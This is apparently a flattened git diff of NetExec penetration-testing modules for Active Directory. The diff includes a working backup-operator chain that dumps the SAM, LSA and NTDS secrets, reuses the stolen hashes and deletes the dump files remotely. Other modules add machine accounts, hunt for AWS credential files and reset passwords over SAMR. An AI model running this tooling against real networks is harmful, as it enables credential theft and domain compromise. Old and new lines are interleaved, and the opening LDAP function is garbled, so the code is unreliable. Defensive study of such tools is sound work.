self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"')
elif "unwillingToPerform" in str(e):
self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}')
def _ldap_add(self, ldap_conn, dn, name):
fqdn = f"{name}.{self.connection.domain}"
spns = [
f"HOST/{name}",
f"HOST/{fqdn}",
f"RestrictedKrbHost/{name}",
f"RestrictedKrbHost/{fqdn}",
]
try:
ldap_conn.add(
dn,
["top", "person", "organizationalPerson", "user", "computer"],
ucd
{
"dnsHostName": fqdn,
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.computer_name,
"unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"),
},
)
if result:
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
elif not result:
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()
self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"')
self._db_add_credential()
except LDAPSessionError as e:
if "entryAlreadyExists" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'")
elif "unwillingToPerform" in str(e):
self.context.log.fail("Server unwilling to perform")
elif "constraintViolation" in str(e):
self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.")
else:
self.context.log.fail(f"Failed to add '{self.computer_name}': {e}")
+4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Search for aws credentials files on linux and windows machines
@@ -8,6 +11,7 @@ class NXCModule:
name = "aws-credentials"
description = "Search for aws credentials files."
supported_protocols = ["ssh", "smb", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.search_path_linux = "'/home/' '/tmp/'"
+134 -70
View File
@@ -1,48 +1,45 @@
import time
import os
import datetime
import contextlib
import re
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.paths import NXC_PATH
from impacket.dcerpc.v5 import rrp
from nxc.helpers.misc import CATEGORY, gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
self.local_admin = None
self.local_admin_hash = None
self.machine_account = None
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
rand_suffix = gen_random_string(8)
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
self.trigger_winreg(connection.conn, context)
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
connection.trigger_winreg()
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
@@ -52,85 +49,152 @@ class NXCModule:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(str(e))
context.log.fail(f"Unexpected error: {e}")
return
finally:
dce.disconnect()
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
log_path = f"{connection.output_filename}."
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
if not self.local_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
if len(fields) >= 4:
self.local_admin = fields[0]
self.local_admin_hash = fields[3]
def parse_lsa(secret_type, secret):
context.log.highlight(secret)
if self.machine_account:
return
for line in secret.splitlines():
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
if match:
self.machine_account_hash = match.group(1)
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
# "$MACHINE.ACC" has no real name -> derive it from the connection.
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
dump_creds = None
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
if self._try_dump_ntds(connection, context, username, user_hash):
dump_creds = (username, user_hash)
break
if dump_creds:
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
if not self.cleanup_user or not self.cleanup_hash:
self.cleanup_user, self.cleanup_hash = dump_creds
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
else:
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
self._print_cleanup_warning(context, rand_suffix)
def _try_dump_ntds(self, connection, context, username, user_hash):
if not username or not user_hash:
return False
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
try:
context.log.display(f"Dumping NTDS using {username}...")
connection.ntds()
return True
except Exception as e:
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
return False
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
if not username or not user_hash:
self._print_cleanup_warning(context, rand_suffix)
return
context.log.display(f"Using {username} to clean up files...")
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY", "SYSTEM"]
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
connection.conn.deleteFile("SYSVOL", remote_name)
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
except SessionError as e:
if "STATUS_NO_SUCH_FILE" in str(e):
context.log.debug(f"File {remote_name} already removed or not found.")
continue
if "STATUS_ACCESS_DENIED" in str(e):
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
try:
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
continue
except Exception as exec_err:
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
all_deleted = False
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
for hive in ["SAM", "SECURITY", "SYSTEM"]:
if all_deleted:
double_check = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if connection.conn.listPath("SYSVOL", remote_name):
double_check = False
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
except SessionError:
pass
if double_check:
context.log.display("Successfully deleted dump files !")
return
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
self._print_cleanup_warning(context, rand_suffix)
def trigger_winreg(self, connection, context):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = connection.connectTree("IPC$")
def _extract_da_hash(self, output_filename, context):
try:
connection.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
context.log.debug(str(e))
# Give remote registry time to start
time.sleep(1)
with open(f"{output_filename}.ntds") as f:
fallback = None
for line in f:
fields = line.strip().split(":")
if len(fields) < 4 or not fields[3]:
continue
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
if fields[1] == "500":
return da_user, fields[3]
if fallback is None:
fallback = (da_user, fields[3])
if fallback:
return fallback
except Exception as e:
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
+16 -21
View File
@@ -1,4 +1,5 @@
from impacket.ldap import ldaptypes
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.microsoft import security_descriptor_control
@@ -79,6 +80,7 @@ class NXCModule:
name = "badsuccessor"
description = "Check if vulnerable to bad successor attack (DMSA)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
@@ -92,10 +94,9 @@ class NXCModule:
return True
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
def get_domain_sid(self, ldap_session, base_dn):
def get_domain_sid(self):
"""Retrieve the domain SID from the domain object in LDAP"""
r = ldap_session.search(
searchBase=base_dn,
r = self.connection.search(
searchFilter="(objectClass=domain)",
attributes=["objectSid"]
)
@@ -103,8 +104,8 @@ class NXCModule:
if parsed and "objectSid" in parsed[0]:
return parsed[0]["objectSid"]
def find_bad_successor_ous(self, ldap_session, entries, base_dn):
domain_sid = self.get_domain_sid(ldap_session, base_dn)
def find_bad_successor_ous(self, entries):
domain_sid = self.get_domain_sid()
results = {}
parsed = parse_result_attributes(entries)
for entry in parsed:
@@ -144,15 +145,13 @@ class NXCModule:
results.setdefault(owner_sid, []).append(dn)
return results
def resolve_sid_to_name(self, ldap_session, sid, base_dn):
def resolve_sid_to_name(self, sid):
"""
Resolves a SID to a samAccountName using LDAP
Args:
----
ldap_session: The LDAP connection
sid: The SID to resolve
base_dn: The base DN for the LDAP search
Returns:
-------
@@ -160,8 +159,7 @@ class NXCModule:
"""
try:
search_filter = f"(objectSid={sid})"
response = ldap_session.search(
searchBase=base_dn,
response = self.connection.search(
searchFilter=search_filter,
attributes=["sAMAccountName"]
)
@@ -174,9 +172,10 @@ class NXCModule:
return sid
def on_login(self, context, connection):
self.connection = connection
# Check for a domain controller with Windows Server 2025
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
resp = self.connection.search(
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
attributes=["operatingSystem", "dNSHostName"]
)
@@ -192,15 +191,15 @@ class NXCModule:
# Enumerate dMSA objects
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
resp = self.connection.search(
searchFilter="(objectClass=organizationalUnit)",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=controls) # Fixed parameter name
searchControls=controls
)
context.log.debug(f"Found {len(resp)} entries")
results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
results = self.find_bad_successor_ous(resp)
if results:
context.log.success(f"Found {len(results)} results")
@@ -208,11 +207,7 @@ class NXCModule:
context.log.highlight("No account found")
for sid, ous in results.items():
samaccountname = self.resolve_sid_to_name(
connection.ldap_connection,
sid,
connection.ldap_connection._baseDN
)
samaccountname = self.resolve_sid_to_name(sid)
for ou in ous:
if sid == samaccountname:
+116 -139
View File
@@ -1,139 +1,116 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
+140
View File
@@ -0,0 +1,140 @@
#!/usr/bin/env python3
import json
import socket
from os import makedirs
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
"""Module made by: @NeffIsBack, @gatariee"""
name = "certipy-find"
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
VULN Show only vulnerable configurations (Default: True)
ENABLED Show only enabled templates
Export options:
TEXT Export results to a plain text file
CSV Export results to a CSV file
JSON Export results to a JSON file
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.json = False
self.csv = False
self.text = False
if "VULN" in module_options:
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
if "ENABLED" in module_options:
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
# Export options
if "JSON" in module_options:
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
if "CSV" in module_options:
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
if "TEXT" in module_options:
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
def on_login(self, context, connection):
dns_server = connection.args.dns_server
if not dns_server:
try:
# If connection.host is an IP, use it as DNS
socket.inet_aton(connection.host)
dns_server = connection.host
except Exception:
# Otherwise let DnsResolver use system resolver (None)
dns_server = None
resolv = DnsResolver.create(dns_server)
# prefer connection.hostname if present, otherwise connection.host
remote = (connection.hostname or connection.host) or ""
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
target = Target(
resolver=resolv,
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=connection.remoteName,
hashes=f"{connection.lmhash}:{connection.nthash}",
lmhash=connection.lmhash,
nthash=connection.nthash,
do_kerberos=connection.kerberos,
aes=connection.aesKey,
dc_ip=connection.kdcHost,
target_ip=connection.host,
ldap_port=connection.port,
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
ldap_signing=connection.signing_required,
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
)
finder = Find(
target=target,
json=self.json,
csv=self.csv,
text=self.text,
output_path=self.output_path,
stdout=True,
vulnerable=self.vuln,
enabled=self.enabled,
)
# Get templates and CAs
templates = finder.get_certificate_templates()
cas = finder.get_certificate_authorities()
finder._link_cas_and_templates(cas, templates)
# Get OIDs
oids = finder.get_issuance_policies()
# Process information
finder._link_templates_and_policies(templates, oids)
finder._process_ca_properties(cas)
finder._process_template_properties(templates)
output = finder.get_output_for_text_and_json(templates, cas, oids)
pretty_print(output, print_func=context.log.highlight)
# Save to disk if any export option specified
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
json.dump(
output,
f,
indent=2,
default=str,
)
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+56 -56
View File
@@ -1,6 +1,8 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -12,6 +14,7 @@ class NXCModule:
name = "change-password"
description = "Change or reset user passwords via various protocols"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -24,7 +27,7 @@ class NXCModule:
Examples
--------
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
If STATUS_PASSWORD_MUST_CHANGE, STATUS_PASSWORD_EXPIRED or STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (Change password for current user)
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
@@ -43,31 +46,21 @@ class NXCModule:
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
dce = NXCRPCConnection(connection).connect(
None,
samr.MSRPC_UUID_SAMR,
string_binding=string_binding,
set_remote_host=connection.host,
anonymous_rpc=True,
)
context.log.info("Connecting with null session credentials.")
else:
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
@@ -93,14 +86,12 @@ class NXCModule:
new_nthash = self.newhash
try:
self.anonymous = False
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.anonymous = True
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
elif "STATUS_LOGON_FAILURE" in str(e):
context.log.fail("Authentication failure: wrong credentials.")
return False
@@ -110,40 +101,49 @@ class NXCModule:
try:
# Perform the SMB SAMR password change
